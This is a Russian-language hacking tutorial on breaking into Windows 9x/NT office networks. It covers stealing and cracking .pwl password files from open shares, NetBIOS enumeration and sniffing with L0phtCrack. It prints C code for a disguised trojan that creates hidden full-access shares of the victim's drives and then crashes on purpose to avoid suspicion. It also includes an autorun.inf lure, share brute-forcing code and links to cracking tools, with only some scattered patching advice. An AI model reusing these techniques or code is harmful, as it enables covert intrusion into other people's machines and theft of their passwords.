Технология взлома больших локальных сетей Введение. В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем. Итак, мы в сети. Поставим себя на место человека, которому все очень интересно... И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные "шары", доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться... Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам. Для машин, где используется для доступа в Internet модем, это обычно так: (прим.: реальные пароли я забил знаком "X") (C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98) ~~~~~~~~~~~~~~ ¦ Enter the User Password: File '1.PWL' has size 948 bytes, version [W95osr2_Win98] for user '1' with password '' contains: -[Type]-[The resource location string]--------------[Password]- Dial *Rna\My Connection\ZZ-top XXXXXXX Dial *Rna\My Connection\ZZ-TOP XXXXXXX Dial *Rna\My Connection\ZZTOP XXXXXXX Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX Dial *Rna\TiNET 2\ZZTOP XXXXXXX Dial *Rna\TiNET\neoxars XXXXXXX Dial *Rna\TiNET\NeoXars XXXXXXX --------------------------------------------------------------- ¦ Indexed Entryes: 1; Number of resources: 7. Для машин, работающих в локальных сетях, например, так: File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98] for user 'SANJA' with password 'QUAKE' contains: -[Type]-[The resource location string]--------------[Password]- Link ASH\EMAIL XXXXXX Link ASH\INTERNET XXXXXX Link ASH\RED XXXXXX Link ASH\TI_UART Dial ! crypt_Blizzard_Storm XXXXX Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX MAPI MAPI MAPI --------------------------------------------------------------- _ Indexed Entryes: 4; Number of resources: 7. Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики. Хотя это не спасает от тех, кто знает свое дело. Ведь на запрос о предоставлении списка доступных ресурсов система выдает полный список, включая и "невидимые" ресурсы. Фильтруются они уже локально. Поэтому, существует возможность воспользоваться предназначенными для этого программами, хотя бы юниксовым SMB-клиентом. А еще проще - запустите сниффер, поймайте ответ от сервера и посмотрите на него. А заставить удаленный хост прислать вам список доступных ресурсов можно командой "net view \\comp_name" Продолжим исследование. Итак, что мы еще можем сделать? Вот пример: Набираем что-то типа nbtstat -a 192.168.20.30. Получаем примерно такой результат: --------------------------------------------------------------------- Имя Тип Состояние ---------------------------------------------------- TOLIK <00> UNIQUE Зарегистрирован TO-31 <00> GROUP Зарегистрирован TOLIK <03> UNIQUE Зарегистрирован TOLIK <20> UNIQUE Зарегистрирован TO-31 <1E> GROUP Зарегистрирован TO-31 <1D> UNIQUE Зарегистрирован ..__MSBROWSE__.<01> GROUP Зарегистрирован Адрес платы (MAC) = 00-00-21-1F-E5-92 --------------------------------------------------------------------- Что мы видим? Workstation Service = TOLIK Domain Name = TO-31 Messenger Service = TOLIK (т.е. можно туда отсылать сообщения net send TOLIK "...") Это имя пользователя, вошедшего в систему File Server Service = TOLIK Browser Service Elections = TO-31 Master Browser = TO-31 MAC адресс сетевой карты. Это самое малое, что может показать эта команда. При наличии дополнительных сервисов на исследуемой машине будет выдано гораздо больше информации. Из нее обычно можно узнать имя пользователя, зашедшего в систему, домен/раб.гр и т.д.) Расшифровку можно получать из следующей таблицы: Name Number Type Usage ================================================================ computername 00 U Workstation Service computername 01 U Messenger Service \\_MSBROWSE_ 01 G Master Browser computername 03 U Messenger Service computername 06 U RAS Server Service computername 1F U NetDDE Service computername 20 U File Server Service computername 21 U RAS Client Service computername 22 U Exchange Interchange computername 23 U Exchange Store computername 24 U Exchange Directory computername 30 U Modem Sharing Server Service computername 31 U Modem Sharing Client Service computername 43 U SMS Client Remote Control computername 44 U SMS Admin Remote Control Tool computername 45 U SMS Client Remote Chat computername 46 U SMS Client Remote Transfer computername 4C U DEC Pathworks TCPIP Service computername 52 U DEC Pathworks TCPIP Service computername 87 U Exchange MTA computername 6A U Exchange IMC computername BE U Network Monitor Agent computername BF U Network Monitor Apps username 03 U Messenger Service domain 00 G Domain Name domain 1B U Domain Master Browser domain 1C G Domain Controllers domain 1D U Master Browser domain 1E G Browser Service Elections INet~Services 1C G Internet Information Server IS~Computer_name 00 U Internet Information Server computername [2B] U Lotus Notes Server IRISMULTICAST [2F] G Lotus Notes IRISNAMESERVER [33] G Lotus Notes Forte_$ND800ZA [20] U DCA Irmalan Gateway Service ---------------------------------------------------------------- Немного творчества. Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит. Конечно, можно было бы еще долго и нудно рассказывать о троянизации, маскировании под must-have файлы, но я этого делать не буду. Это уже относится к психологии. Вот что я написал для демонстрации данного метода. (Для того, чтобы кто попало не компилировал, я не даю полный листинг) --------------------------------------------------------------------- share_info_50 shinfo50; ZeroMemory(&shinfo50,sizeof(shinfo50)); shinfo50.shi50_type=STYPE_DISKTREE; shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST; shinfo50.shi50_remark=""; // Расшариваем 1-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1); shinfo50.shi50_path="C:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 2-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1); shinfo50.shi50_path="D:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 3-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1); shinfo50.shi50_path="E:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); FillMemory((VOID*)0xFFFFFFFF,1,0); // А это для того, чтобы программа вылетела "в трубу", и // пользователь подумал, что это просто сбой в системе. (но это // не обязательно) // P.S. Все это только для Win95/98/Me. Для NT нужно немного // модифицировать. --------------------------------------------------------------------- Теперь на жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что: 1) Мы имеем полный доступ. 2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен. 3) Шара не будет видна всем в сети. Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидели файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались. Хотелось бы еще упомянуть о возможности "заставить" пользователя запустить программу, даже не подозревая об этом, если у вас есть доступ на запись в корень диска. Этот медот основан на использовании файлов autorun.inf. (Работает метод на Win9x) Они присутствуют на большинстве CD-дисков. Вот пример такого файла: [autorun] open=autorun.exe icon=autorun.exe Нам достаточно лишь строчки "open", где мы записываем имя программы, которая должна выполниться. Кладем этот файл в корне доступного на запись диска и ждем, пока кто-нибудь не нажмет "Мой компьютер --> Диск E:". К счастью(не для всех...), в Win2000 так сделать не удастся. Если файл autorun.inf лежит на жестком диске - он просто игнорируется системой. Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only): ---------------------------------------------------------------------- // на входе параметры - char *resname, char *password DWORD RetVal; NETRESOURCE nr; nr.lpRemoteName=resname; nr.dwType=RESOURCETYPE_DISK; RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE); ----------------------------------------------------------------------
Немного теории. При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах. Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа. Кстати, о багах. В системах NT4 и Win2k частенько остается непропатченым баг "NetBIOS: Null Session". Путем подстановки NULL вместо имени пользователя и пароля при подключении к сервису IPC$, можно получить доступ к списку зарегистрированных в системе пользователей, расшаренных ресурсов и др.. Устранить это можно занесением значения "1" в ключ реестра "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ LSA Name: RestrictAnonymous " Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB: Используемый протокол: IP. Все системы - IP/TCP/Netbios/SMB Используемый протокол: IPX. NT - IPX/Netbios/SMB. Win9x (default) IPXNMPI)/SMB А теперь послушаем... Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент "TCP_LOGGER"). На смену им пришли "ssh", "apop" и подобные, но полный переход на новые протоколы еще займет немало времени. Но все же, уже нельзя, как раньше, легко перехватывать пароли на SMB сессии. Они перестали передаваться в открытом виде. Эта проблема была в диалектах "LANMAN1.0" и др., а в более поздних, таких как "LANMAN2.1" и "NT LM 0.12" и используется шифрование пароля ключом, сгенерированным сервером, и по сети передается лишь hash-значение. Это, конечно, затрудняет взлом, но не делает его невозможным. Ведь затем можно попытаться подобрать пароль, перебирая возможные пароли и накладывая на него ключ сервера, сравнивая результат с имеющимся. При наличии быстрой машины и большого объема оперативной памяти, можно добиться очень высоких показателей скорости перебора. Приведу еще другой пример. Допустим, в вашем сегменте стоят машины с NT. Берем программу L0phtCrack и выбираем в меню "sniffing". Теперь она будет прослушивать все сетевые подключения и сохранять протокол в файл. Затем той же программкой и вскрываем их. Пример файла, который получается в результате использования для взлома программы L0phtCrack можно посмотреть здесь. Какие есть возможности усложнить жизнь взломщику? Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет (и не только по этой причине). Присвойте элементу типа DWORD "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Lsa \ LMCompatibilityLevel" значение "2". Во-вторых, путем использования, например, свитчей вместо хабов. Повторители, хаб, коаксиал - это все, что формирует среду, образуя "collision domain". То есть, весь трафик является общим, что позволяет с любой машины перехватывать все пакеты, передающиеся какой угодно машиной в этом сегменте. В отличие от хаба, порты коммутатора разделяют "collision domain" и образуют "broadcast domain". Он работает с MAC адресами и на ходу стоит "route table". Поэтому пакет, адресованный какой-либо машине, будет передан на соответствующий порт свитча, а на остальных портах никаких событий не произойдет. Но помните(!), если в настойках не заданы жестко все MAC адреса, и свитч на лету обновляет таблицу соответствия интерфейсов портам, то остается возможность обмануть любую машину, послав ложный ARP, или ICMP пакет с сообщением о другом маршруте. Таким образом, мы можем перенаправить трафик на свой порт... более подробно об этом можно почитать в статьях на www.uinc.ru. К чему все это? Снова представим себя на месте взломщика. Что мы можем полезного из всего извлечь? Если жертва имеет выход в Internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/SPX. Я так сам когда-то делал. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно, утянув реестр... Happy browsing! Маленький словарь. * Расшаривать - от англ. "share". * PWL - сокращение "password list file". * Патч - от англ. "patch" - заплата. * Сниффинг, сниффер - от англ. "sniff" - нюхать. * Замэппить - от англ. "map". Перенаправить трафик без изменений с локального порта на удаленный. Итак, пора бы вам углубиться в тонкости защиты систем NT и Win2000. Как происходит авторизация при подключении к хосту по сети, где и в каком виде хранятся пароли в системе, как получить права администратора имея физический доступ к системе и многое другое вы можете узнать из статьи "Локальный и удаленные взломы Windows NT/2000". Links. Патч от Microsoft исправляющий ошибку в работе SMB сессии можно скачать здесь: http://www.microsoft.com/technet/security/bulletin/ms00-072.asp Почитать подробнее про ошибку в SMB сессии Win 9x/ME можно здесь: http://www.nsfocus.com/english/homepage/sa_05.htm Маленькая демонстрация к статье, "расшаривание" диска C - C4All (Скачано 8934 раз) TCP Logger - http://www.uinc.ru/files/ Advanced TCP Logger - http://www.kmint21.com/atcp2log/ Простой port-mappеr(5Kb), который можно запусткать в скрытом режиме SMB вломщик, Unpassword 95, написанный мной, можно скачать здесь Альтернативные SMB вломщики: UnPassword - http://www.bitersoft.narod.ru/unpas.htm NetDisk Password Recover - http://www.inta.portal.ru/dark/Docs/NDPRV1_0.html NetBrute - http://www.rawlogic.com/netbrute/ SMB Auditing Tool(for Unix) - http://packetstormsecurity.org/Crackers/smbbf-0.9.1.tar.gz Аналоги PQWak и сам PQWak: PQWak - http://packetstormsecurity.org/0010-exploits/pqwak2.zip Share Password Checker - http://www.securityfriday.com/spc_doc.html xIntruder (работает с русскими путями) - http://www.tools-for.net/products.php?p=xintruder SMB Cracker - http://www.security.nnov.ru/files/smbcrkru.zip PWL Hacker - http://www.uinc.ru/files/useful/pwl_h402.rar L0pht Crack - http://www.atstake.com/research/lc3/index.html L0pht Crack+ - http://lcp.chat.ru (русская бесплатная версия) Огромный архив security сотфа - ftp://ftp.uinc.ru p.s сори, если статья уже тут пролетала